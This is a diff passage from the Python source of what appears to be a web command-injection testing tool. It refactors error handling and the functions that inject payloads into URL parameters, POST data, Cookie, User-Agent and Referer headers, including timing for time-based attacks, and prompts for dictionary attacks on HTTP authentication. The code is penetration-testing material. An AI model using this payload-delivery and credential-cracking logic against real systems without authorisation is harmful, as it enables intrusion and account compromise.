timeout=settings.TIMEOUT) response.read(1) response.close() - + _ = True except _http_client.InvalidURL as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - - except _urllib.error.HTTPError as err: + + except (_urllib.error.HTTPError, _urllib.error.URLError) as err: ignore_start = time.time() - if settings.UNAUTHORIZED_ERROR in str(err) and menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + if settings.UNAUTHORIZED_ERROR in str(err) and int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: pass else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) err_msg = "Unable to connect to the target URL" try: err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." except IndexError: err_msg += " (" + str(err) + ")." - print(settings.print_critical_msg(err_msg)) + if str(err.getcode()) != settings.UNAUTHORIZED_ERROR: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) # Check for HTTP Error 401 (Unauthorized). - if str(err.getcode()) == settings.UNAUTHORIZED_ERROR: + else: try: # Get the auth header value auth_line = err.headers.get('www-authenticate', '') # Checking for authentication type name. auth_type = auth_line.split()[0] - settings.SUPPORTED_HTTP_AUTH_TYPES.index(auth_type.lower()) # Checking for the realm attribute. - try: - auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups() + try: + auth_obj = re.match(r'''(\w*)\s+realm=(.*)''', auth_line).groups() realm = auth_obj[1].split(',')[0].replace("\"", "") except: realm = False @@ -91,15 +129,15 @@ def estimate_response_time(url, timesec): except ValueError: err_msg = "The identified HTTP authentication type (" + str(auth_type) + ") " err_msg += "is not yet supported." - print(settings.print_critical_msg(err_msg) + "\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except IndexError: - err_msg = "The provided pair of " + str(menu.options.auth_type) + err_msg = "The provided pair of " + str(menu.options.auth_type) err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'" err_msg += " seems to be invalid." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() if menu.options.auth_type and menu.options.auth_type != auth_type.lower(): if checks.identified_http_auth_type(auth_type): @@ -115,28 +153,23 @@ def estimate_response_time(url, timesec): stored_auth_creds = False if stored_auth_creds and not menu.options.ignore_session: menu.options.auth_cred = stored_auth_creds - info_msg = "Identified a previously stored valid pair of credentials '" - info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - # Basic authentication - if menu.options.auth_type == "basic": - if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - warn_msg = menu.options.auth_type.capitalize() + " " + info_msg = "Setting pair of credentials '" + info_msg += menu.options.auth_cred + "' from stored session." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + # Basic authentication + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: + if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: + warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to perform a dictionary-based attack? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: - auth_creds = authentication.http_auth_cracker(url, realm) + auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: - menu.options.auth_cred = auth_creds + # menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: @@ -146,32 +179,26 @@ def estimate_response_time(url, timesec): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass - # Digest authentication - elif menu.options.auth_type == "digest": - if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - warn_msg = menu.options.auth_type.capitalize() + " " + # Digest authentication + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: + warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." - print(settings.print_warning_msg(warn_msg)) - # Check if heuristics have failed to identify the realm attribute. + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Check if failed to identify the realm attribute. if not realm: - warn_msg = "Heuristics have failed to identify the realm attribute." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "Failed to identify the realm attribute." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to perform a dictionary-based attack? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: - auth_creds = authentication.http_auth_cracker(url, realm) + auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: - menu.options.auth_cred = auth_creds + # menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: @@ -181,60 +208,44 @@ def estimate_response_time(url, timesec): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass - else: - checks.http_auth_err_msg() + else: + checks.http_auth_err_msg() else: raise SystemExit() - + ignore_end = time.time() start = start - (ignore_start - ignore_end) - except socket.timeout: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The connection to target URL has timed out." - print(settings.print_critical_msg(err_msg) + "\n") - raise SystemExit() - - except _urllib.error.URLError as err_msg: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) - raise SystemExit() except ValueError as err_msg: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(str(err_msg) + ".")) + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg) + ".")) raise SystemExit() + except Exception as err_msg: + request_failed(err_msg) + end = time.time() - diff = end - start - + diff = end - start + if int(diff) < 1: - if settings.VERBOSITY_LEVEL != 0 and stored_auth_creds == False: - print(settings.SINGLE_WHITESPACE) url_time_response = int(diff) - if settings.TARGET_OS == "win": - warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " - warn_msg += "host, there may be delays during the data extraction procedure." - print(settings.print_warning_msg(warn_msg)) else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + if settings.TARGET_OS == settings.OS.WINDOWS: + warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " + warn_msg += "host, there might be delays during the data extraction procedure." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) url_time_response = int(round(diff)) - warn_msg = "The estimated response time is " + str(url_time_response) - warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" + warn_msg = "Target's estimated response time is " + str(url_time_response) + warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" if url_time_response >= 3: warn_msg += " serious" - warn_msg += " delays during the data extraction procedure" + warn_msg += " delays during the data extraction procedure" if url_time_response >= 3: warn_msg += " and/or possible corruptions over the extracted data" warn_msg += "." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if int(timesec) == int(url_time_response): timesec = int(timesec) + int(url_time_response) @@ -242,767 +253,442 @@ def estimate_response_time(url, timesec): timesec = int(timesec) # Against windows targets (for more stability), add one extra second delay. - if settings.TARGET_OS == "win" : - timesec = timesec + 1 - + # if settings.TARGET_OS == settings.OS.WINDOWS : + # timesec = timesec + 1 return timesec, url_time_response """ -Get the response of the request +Exceptions regarding requests failure(s) """ -def get_request_response(request): +def request_failed(err_msg): - headers.check_http_traffic(request) - # Check if defined any HTTP Proxy. - if menu.options.proxy: + settings.VALID_URL = False + + try: + error_msg = str(err_msg.args[0]).split("] ")[1] + except IndexError: try: - response = proxy.use_proxy(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - if "Connection refused" in err_msg.reason: - err_msg = "The target host is not responding. " - err_msg += "Please ensure that is up and try again." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + error_msg = str(err_msg.args[0]) + except IndexError: + error_msg = str(err_msg) + + if "Tunnel connection failed" in str(error_msg) and menu.options.tor: + err_msg = "Can't establish connection with the Tor network. " + err_msg += "Please make sure that you have " + err_msg += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " + err_msg += "so you could be able to successfully use switch '--tor'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check if defined Tor. - elif menu.options.tor: - try: - response = tor.use_tor(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True + elif any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): + settings.MAX_RETRIES = 1 + error_msg = "Can't establish SSL connection. " + if settings.MULTI_TARGETS or settings.CRAWLING: + error_msg = error_msg + "Skipping to the next target." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + if not settings.CRAWLING: + raise SystemExit() + else: + return False + + elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): + settings.MAX_RETRIES = 1 + err = "Unable to connect to the target URL" + if menu.options.tor: + err += " or Tor HTTP proxy." + elif menu.options.proxy or menu.options.ignore_proxy: + err += " or proxy" + err = err + " (Reason: " + str(error_msg) + "). " + if menu.options.tor: + err += "Please make sure that you have " + err += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " + err += "so you could be able to successfully use switch '--tor'." + if settings.MULTI_TARGETS or settings.CRAWLING: + err = err + "Skipping to the next target." + error_msg = err + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + if not settings.CRAWLING: + raise SystemExit() + else: + return False + + elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + if int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE or \ + settings.PERFORM_CRACKING or \ + settings.WAF_DETECTION_PHASE: + return False + else: + err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " + err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')" + if menu.options.auth_type and menu.options.auth_cred: + if settings.MULTI_TARGETS or settings.CRAWLING: + err_msg += ". " else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. " + else: + err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " + if settings.CRAWLING: + err_msg += "Skipping to the next target." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + if not settings.CRAWLING: + if menu.options.auth_type and menu.options.auth_cred: + raise SystemExit() + + elif settings.TOTAL_OF_REQUESTS == 1: + if "IncompleteRead" in str(error_msg): + error_msg = "There was an incomplete read error while retrieving data " + error_msg += "from the target URL." + elif "infinite loop" in str(error_msg): + error_msg = "Infinite redirect loop detected. " + error_msg += "Please check all provided parameters and/or provide missing ones." + elif "BadStatusLine" in str(error_msg): + error_msg = "Connection dropped or unknown HTTP " + error_msg += "status code received." + elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): + error_msg = "Connection was forcibly closed by the target URL." + elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: + status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] + warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) + warn_msg += "' which could interfere with the results of the tests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): + return False + return True + else: + error_msg = "The provided target URL seems not reachable. " + items = [] + if not menu.options.random_agent: + items.append("'--random-agent' switch") + if not any((menu.options.proxy, menu.options.ignore_proxy, menu.options.tor)): + items.append("proxy switches ('--proxy', '--ignore-proxy'...).") + if items: + error_msg += "In case that it is, " + error_msg += "you can try to rerun with " + error_msg += " and/or ".join(items) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + if not settings.CRAWLING: raise SystemExit() + else: + return False + + elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \ + (len(settings.IGNORE_CODE) != 0 and any(str(x) in str(error_msg).lower() for x in settings.IGNORE_CODE)): + return False + + elif settings.IGNORE_ERR_MSG == False: + continue_tests = checks.continue_tests(err_msg) + if continue_tests: + settings.IGNORE_ERR_MSG = True + else: + if not settings.CRAWLING: + raise SystemExit() + return False + else: + if settings.VERBOSITY_LEVEL >= 1: + if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: + debug_msg = "Got " + str(err_msg) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + else: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + return False + +""" +Get the response of the request +""" +def get_request_response(request): + + headers.check_http_traffic(request) + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + try: + response = proxy.use_proxy(request) + except Exception as err_msg: + response = request_failed(err_msg) else: try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - if not str(err_msg.code) == str(menu.options.ignore_code): - err = str(err_msg) + "." - if settings.VERBOSITY_LEVEL < 2: - print("\r" + settings.print_critical_msg(err) + 30 * " ") - - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except Exception as err_msg: + response = request_failed(err_msg) + return response """ -Check if target host is vulnerable. (Cookie-based injection) +Check if target host is vulnerable. """ -def cookie_injection(url, vuln_parameter, payload): +def init_injection(payload, http_request_method, url): + if settings.TIME_RELATED_ATTACK: + start = 0 + end = 0 + start = time.time() - def inject_cookie(url, vuln_parameter, payload, proxy): - if proxy == None: - opener = _urllib.request.build_opener() + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: + payload = payload.replace("#","%23") + vuln_parameter = parameters.vuln_GET_param(url) + target = checks.process_injectable_value(payload, url) + # if settings.TESTABLE_VALUE in url.replace(settings.INJECT_TAG, ""): + # target = url.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) + # else: + # target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(target, method=http_request_method) + else: + parameter = menu.options.data + parameter = parameters.do_POST_check(parameter, http_request_method) + parameter = ''.join(str(e) for e in parameter).replace("+","%2B") + vuln_parameter = parameters.vuln_POST_param(parameter, url) + if settings.IS_JSON: + data = checks.process_injectable_value(_urllib.parse.unquote(payload.replace("\"", "\\\"")), menu.options.data) + # data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + try: + data = checks.json_data(data) + except ValueError: + pass + elif settings.IS_XML: + data = checks.process_injectable_value(_urllib.parse.unquote(payload), menu.options.data) + #data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - opener = _urllib.request.build_opener(proxy) + data = checks.process_injectable_value(payload, menu.options.data) + # if settings.TESTABLE_VALUE in parameter.replace(settings.INJECT_TAG, ""): + # data = parameter.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) + # else: + # data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) + headers.do_check(request) + response = get_request_response(request) + + if settings.TIME_RELATED_ATTACK: + end = time.time() + response = int(end - start) + else: + exec_time = response - if settings.TIME_RELATIVE_ATTACK : - payload = _urllib.parse.quote(payload) + return response, vuln_parameter + +""" +Check if target host is vulnerable. (Cookie-based injection) +""" +def cookie_injection(url, vuln_parameter, payload, http_request_method): + + def inject_cookie(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + if settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload.replace("+", "%2B"))) + payload = checks.payload_fixation(payload) + # payload = payload.replace("+", "%2B") + if settings.INJECT_TAG in menu.options.cookie: + cookie = checks.process_injectable_value(payload, menu.options.cookie) + # if settings.TESTABLE_VALUE in menu.options.cookie.replace(settings.INJECT_TAG, ""): + # request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload)) + # else: + request.add_header(settings.COOKIE, cookie) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() - proxy = None - #response = inject_cookie(url, vuln_parameter, payload, proxy) - - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_cookie(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err_msg = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err_msg)) - continue_tests = checks.continue_tests(err) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) - response = inject_cookie(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - try: - response = inject_cookie(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + try: + response = inject_cookie(url, vuln_parameter, payload, http_request_method) + except Exception as err_msg: + response = request_failed(err_msg) - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response """ Check if target host is vulnerable. (User-Agent-based injection) """ -def user_agent_injection(url, vuln_parameter, payload): - - def inject_user_agent(url, vuln_parameter, payload, proxy): - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) +def user_agent_injection(url, vuln_parameter, payload, http_request_method): + def inject_user_agent(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + if settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - request.add_header('User-Agent', payload) + request.add_header(settings.USER_AGENT, payload) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() - proxy = None - #response = inject_user_agent(url, vuln_parameter, payload, proxy) - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_user_agent(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT}) - response = inject_user_agent(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - try: - response = inject_user_agent(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + try: + response = inject_user_agent(url, vuln_parameter, payload, http_request_method) + except Exception as err_msg: + response = request_failed(err_msg) - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection(url, vuln_parameter, payload): - - def inject_referer(url, vuln_parameter, payload, proxy): - - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) +def referer_injection(url, vuln_parameter, payload, http_request_method): + def inject_referer(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, 